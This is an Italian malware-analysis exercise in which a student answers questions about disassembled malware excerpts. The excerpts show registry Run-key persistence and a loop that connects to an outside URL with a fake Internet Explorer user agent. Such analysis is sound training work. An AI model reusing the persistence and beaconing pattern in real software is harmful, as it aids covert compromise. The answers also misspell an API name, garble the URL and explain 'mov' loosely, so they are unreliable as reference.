

Esercizio 03-04

Traccia: con riferimento agli estratto di un malware reale presenti qui sotto, rispondere alle seguenti domande:

- Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite.
- Identificare il client software utilizzato dal malware per la connessione ad Internet
- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL
- BONUS: qual è il significato e il funzionamento del comando assembly "lea"

```

X040286F  push    2                ; samDesired
X0402871  push    eax               ; ulOptions
X0402872  push    offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
X0402877  push    HKEY_LOCAL_MACHINE ; hKey
X040287C  call    esi ; RegOpenKeyExW
X040287E  test    eax, eax
X0402880  jnz     short loc_4028C5
X0402882
X0402882  loc_402882:
X0402882  lea     ecx, [esp+424h+Data]
X0402886  push    ecx               ; lpString
X0402887  mov     bl, 1
X0402889  call    ds:lstrlenW
X040288F  lea     edx, [eax+eax+2]
X0402893  push    edx               ; cbData
X0402894  mov     edx, [esp+428h+hKey]
X0402898  lea     eax, [esp+428h+Data]
X040289C  push    eax               ; lpData
X040289D  push    1                 ; dwType
X040289F  push    0                 ; Reserved
X04028A1  lea     ecx, [esp+434h+ValueName]
X04028A8  push    ecx               ; lpValueName
X04028A9  push    edx               ; hKey
X04028AA  call    ds:RegSetValueExW

```

```

-----
.text:00401150 ; :::::::::::::::::::: S U B R O U T I N E ::::::::::::::::::::
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress  proc near ; DATA XREF: sub_401040+EC70
.text:00401150 push    esi
.text:00401151 push    edi
.text:00401152 push    0                ; dwFlags
.text:00401154 push    0                ; lpszProxyBypass
.text:00401156 push    0                ; lpszProxy
.text:00401158 push    1                ; dwAccessType
.text:0040115A push    offset szAgent    ; "Internet Explorer 8.0"
.text:0040115F call    ds:InternetOpenA
.text:00401165 mov     edi, ds:InternetOpenUrlA
.text:00401168 mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D:
.text:0040116D push    0                ; CODE XREF: StartAddress+304j
.text:0040116D push    80000000h        ; dwContext
.text:0040116F push    0                ; dwFlags
.text:00401174 push    0                ; dwHeadersLength
.text:00401176 push    0                ; lpszHeaders
.text:00401178 push    offset szUrl      ; "http://www.malware12.com
.text:0040117D push    esi               ; hInternet
.text:0040117E call    edi ; InternetOpenUrlA
.text:00401180 jmp     short loc_40116D
.text:00401180 StartAddress  endp
.text:00401180
-----

```

1.

La chiave hKey viene aperta con l'istruzione RegOpenKeyExW e viene modificata con l'istruzione RegSetValueWxW che carica i parametri dati così da impostare l'avviamento automatico del malware.

```

0040286F  push    2                ; samDesired
00402871  push    eax              ; ulOptions
00402872  push    offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi ; RegOpenKeyExW
0040287E  test    eax, eax
00402880  jnz     short loc_4028C5
00402882
00402882  loc_402882:
00402882  lea     ecx, [esp+424h+Data]
00402886  push    ecx              ; lpString
00402887  mov     bl, 1
00402889  call    ds:lstrlenW
0040288F  lea     edx, [eax+eax+2]
00402893  push    edx              ; cbData
00402894  mov     edx, [esp+428h+hKey]
00402898  lea     eax, [esp+428h+Data]
0040289C  push    eax              ; lpData
0040289D  push    1                ; dwType
0040289F  push    0                ; Reserved
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx              ; lpValueName
004028A9  push    edx              ; hKey
004028AA  call    ds:RegSetValueExW

```

2.

Il client utilizzato dal malware è "Internet Explorer 8.0"

3.

l'URL a cui il malware tenta di connettersi è "http://www.malware12COM" chiamando la funzione InternetOpenUrlA

BONUS.

```

.text:00401174  push    0                ; dwHeadersLength
.text:00401176  push    0                ; lpszHeaders
.text:00401178  push    offset szUrl      ; "http://www.malware12COM"
.text:0040117D  push    esi              ; hInternet
.text:0040117E  call    edi ; InternetOpenUrlA
.text:00401180  jmp     short loc_40116D
.text:00401180  StartAddress  endp

```

l'istruzione lea è un comando simile, ma differente all'istruzione mov:

- l'istruzione mov sposta il valore di un registro in un indirizzo di memoria
- l'istruzione lea carica l'indirizzo effettivo di una certa variabile in un registro